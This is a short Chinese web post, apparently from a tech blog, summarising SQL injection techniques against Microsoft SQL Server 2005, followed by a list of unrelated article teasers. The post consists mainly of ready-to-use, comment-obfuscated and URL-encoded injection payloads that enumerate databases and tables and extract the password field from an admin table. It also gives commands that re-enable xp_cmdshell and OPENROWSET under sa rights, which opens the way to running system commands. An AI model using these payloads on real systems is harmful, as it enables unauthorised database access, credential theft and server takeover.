mssql2005注入方法小结
发布时间：2024-01-16 15:12:11
爆库语句，修改红色部分的数字挨个猜出库
/**/and/**/(select/**/top/**/1/**/isnull(cast([name]/**/as/**/nvarchar(500)),char(32))％2bchar(124)/**/from/**/[master].[dbo].[sysdatabases]/**/where/**/dbid/**/in/**/(select/**/top/**/1/**/dbid/**/from/**/[master].[dbo].[sysdatabases]/**/order/**/by/**/dbid/**/desc))％3d0--
爆表语句,somedb部份是所要列的数据库，红色数字1累加
/**/and/**/(select/**/top/**/1/**/cast(name/**/as/**/varchar(200))/**/from/**/(select/**/top/**/1/**/name/**/from/**/somedb.sys.all_objects/**/where/**/type％3dchar(85)/**/order/**/by/**/name)/**/t/**/order/**/by/**/name/**/desc)％3d0--
爆字段语句，爆表admin里user='icerover'的密码段
/**/And/**/(Select/**/Top/**/1/**/isNull(cast([password]/**/as/**/varchar(2000)),char(32))％2bchar(124)/**/From/**/(Select/**/Top/**/1/**/[password]/**/From/**/[somedb]..[admin]/**/Where/**/user='icerover'/**/Order/**/by/**/[password])/**/T/**/Order/**/by/**/[password]Desc)％3d0--
mssql2005默认没有开xp_cmdshell的，openrowset也不能用
如果是sa权限，可以这样来开启
开启openrowset
EXEC/**/sp_configure/**/'show/**/advanced/**/options',/**/1;RECONFIGURE;--
EXEC/**/sp_configure/**/'Ad/**/Hoc/**/Distributed/**/Queries',/**/1;RECONFIGURE;--
开启xp_cmdshell
EXEC/**/sp_configure/**/'Ad/**/Hoc/**/Distributed/**/Queries',1;RECONFIGURE;--
EXEC/**/sp_configure/**/'show/**/advanced/**/options',1;RECONFIGURE;EXEC/**/sp_configure/**/'xp_cmdshell',1;RECONFIGURE;--
0
投稿猜你喜欢
- 后台从数据库取出时间，JSON格式化后再传到gridpanel，这时时间变成了：/Date(32331121223)/这样的格式，那么这时需
- 前言本文分析了 mysqld 进程关闭的过程，以及如何安全、缓和地关闭 MySQL 实例，对这个过程不甚清楚的同学可以参考下。关闭过程1、发
前言matplotlib.pyplot是一些命令行风格函数的集合，使matplotlib以类似于MATLAB的方式工作。每个pyplot函数- CSS布局作为一个热门技术，发展的确有些缓慢。CSS最早被提议在1994年，最早被浏览器支持在1996年，CSS一直被力捧为传统的以HTML
- 运行效果：完整源码：##import libraryfrom tkinter import *import timefrom playsou
- 做沙盒的时候遇到一个小问题——在IE9里面竟然抓不到事件的keyCode：element.addEventListener('key
- 此方法支持IE 不支持火狐。可能是因为FCKEidtor的keyup方法在火狐下不被支持。 FCKEditor编辑器换为TextBox，应该
- 一、使用以下命令查看当前安装mysql情况，查找以前是否装有mysqlrpm -qa|grep -i mysql可以看到如下图的所示：显示之
- 常规通过迭代或set方法，都无法保证去重后的顺序问题如下,我们可以通过列表的索引功能，对set结果进行序列化old_list=["
- 前言之前一直认为UTF-8是万能的字符集问题解决方案，直到最近遇到这个问题。最近在做新浪微博的爬虫， 在存库的时候发现只要保持emoji表情
- 一、读者指引 读者指引帮助你掌握本文的梗概。以免你看了大半才明白这编文章不适合你，给你造成视觉污染。如果你正在用ASP+XML写一些程序，或
- 本文实例为大家分享了python正则实现计算器功能的具体代码，供大家参考，具体内容如下# -*- coding: utf-8 -*- # A
- 背 景:在MySQL中如果是有限的层次，比如我们事先如果可以确定这个树的最大深度, 那么所有节点为根的树的深度均不会超过树的最大深度，则我们
- 一.ASP使用SQL查询数据库方法： 方法1 Set&nbs
- 我从11岁开始编程，并且一直都很喜欢技术和编程。这些是我一直以来获得的经验教训。作为一个程序员，你可能需要这样的忠告。我更希望每个人在获取这
- 客户强烈要求使用淘宝的首页商品分类效果，很BT~，没辙就满足一下人家的需求。通过淘宝案例，立即想到了显示/隐藏层的效果，于是在DW中画了几个
- 时间对象（Date（））比较简单，本文旨在为初学者入门使用，大牛可略过！本文承接基础知识实例，说一下实例的要求：在页面中输出当前客户端时间（
- ASP开发网页牢记注意事项 选择自 RAINMAN_NET&
- 本文实例为大家分享了python手写均值滤波的具体代码，供大家参考，具体内容如下原理与卷积类似，设置一个n*n的滤波模板，滤波模板内的值累加
- 一：模板要了解jinja2，那么需要先理解模板的概念。模板在Python的web开发中广泛使用，它能够有效的将业务逻辑和页面逻辑分开，使代码
